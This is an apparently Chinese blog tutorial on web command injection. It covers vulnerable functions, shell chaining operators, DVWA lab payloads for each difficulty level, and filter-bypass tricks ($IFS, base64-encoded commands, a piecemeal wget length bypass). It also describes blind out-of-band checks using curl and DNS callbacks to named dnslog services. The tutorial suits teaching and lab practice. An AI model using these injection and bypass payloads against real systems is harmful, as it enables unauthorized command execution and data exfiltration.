web安全之命令注入

简介:

命令注入漏洞即web应用程序使用了可以操控相关系统命令的功能,又没有对用户输入进行过滤,导致攻击者可以通过拼接输入而执行系统命令。

危害:

执行系统命令,修改主机配置,如防火墙、注册表,获取主机敏感文件信息以及开启的端口服务(可能需要一定权限,若web的权限是root,则畅通无阻),为后面进一步入侵打好基础。

易造成漏洞的相关函数:

Php:

System() : 用于执行外部程序并显示输出

Exec() : 用于执行一个外部程序

Shell_exec() : 通过shell环境执行命令,并且将完整的输出以字符串的方式返回

Passthru() : 用于执行外部程序并显示原始输出

Popen() : 用于打开进程文件指针

Proc_open : 执行一个命令,并且打开一个out/in的文件指针

(反引号`:  `cmd` 是PHP执行运算符,PHP将尝试将返单引号中的内容作为shell命令来执行,并将其输出信息返回)

Python:

System() : 将命令和参数传递给系统的shell并执行

Popen() : 用于执行外部程序并获取其输出

Subprocess.call() : 调用Windows的cmd执行额外命令

Spwan() : 执行一个程序并返回该程序的操作句柄

Java:

    Java.lang.Runtime.getRuntime().exec(commad) : 执行指定字符串commad命令

利用方式:

利用主要是利用管道符及其它连接符进行拼接命令:

Windows:

x&y   x可真可假,若x为假则执行y

x&&y  x为真才执行y

x|y    直接执行y

x||y   x为假才执行y

Linux:

X;y    执行完x后执行y

x&y   x可真可假,若x为假则执行y

x&&y  x为真才执行y

x|y    直接执行y

x||y   x为假才执行y

实践与练习:

环境:dvwa

Low:

直接输入命令:1 | dir 爆出目录

Medium

重复上述操作(仍然爆出来了,这个中级令人不太理解)

 查看源码,看其做了啥

 很明显,中级关卡就搞了个黑名单,对&& 和 ; 进行了处理,但我用的 | 没有在其中。那就用 1 && dir命令来演示一下错误示范吧

High

继续执行我们上面用的命令 1 | dir

终于有点等级变换了,这里 | 不再起作用,显然是做了处理,可能加入了黑名单,也可能进行了转换,这里先不管它,毕竟 | 只是我们的手段之一。

继续测试 0 & dir 、 1 && dir 都不行

 

 执行 1 || dir成功爆出

 查看源码分析,发现仍然是黑名单,但范围大了很大

这里有个疑惑,就我们用到的 || 明明已经在黑名单里面,为啥dir仍然能被执行?

仔细观察分析不难发现,程序应该是将命令1 || dir 的前一个|给替换成了空格,而保留了后一个| ,那么我们侥幸得到的脚本就应该改为 1 |dir (| 前面有一个空格)

绕过方法:

在我们实际攻击时往往会需要执行一些复杂的命令,而不是简简单单的一个类似于dir的命令,而这也为防御提供了诸多选择,例如我们常常需要的命令参数链接符”-”或空格,将其加入黑名单,则可以阻断很多非法命令。

(1)空格绕过:

使用$[IFS](其为linux内部区域分隔符,可以为空格、制表符,换行符或其他自定义符号)替换空格;

使用url编码进行替换,制表符的url编码为%09,其效果与空格是一样的;

使用{}符号,{netstat, -ano}与netstat -ano等效

使用<符号(输入重定向,后面跟的文件将取代键盘输入),即cat txt与cat<txt等价

(2)黑名单绕过:

字符拼接,a=l;b=s; $a$b(linux);

/字符绕过,c/a/t 与cat等价;

Base64编码绕过,echo “bHM=” | base64 -d ,即先将ls命令进行编码为 bHM= ,而后用base -d 解密;

(3)长度限制绕过:

如不断执行命令 >wget\  >foo.\  >com  ls -t>a  sh a 会按时间顺序把命令写入文件,最后执行文件

无回显技巧:

当我们发出精心构造的系统命令时,却没有回显,也就不知道命令是否执行,拿不到我们想要的信息。这时候就需要一些技巧来协助我们。

  1. sleep()函数的使用,通过使用sleep函数来判断命令是否执行。若有延时,则命令执行了,若无延时则命令没有执行。
  2. http请求,构造命令使得靶机执行 “curl 目标ip:端口”,而我们只需打开监听即可。
  3. Dns请求,若请求的目标是域名,则肯定会进行一次解析请求,我们只需要将域名指向自己的dns server,则可收到来自靶机的解析请求,从而判断命令是否执行。
  4. Dnslog带外技术:将命令拼接到dns域名上进行请求,而通过dnslog查看结果(常见的dnslog平台:DNSLog Platform  http://admin.dnslog.link  CEYE - Monitor service for security testing )

防御措施:

  1. 黑名单
  2. 输入过滤
  3. 不使用时禁用相应函数
  4. 尽量不要执行外部的应用程序或命令

 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值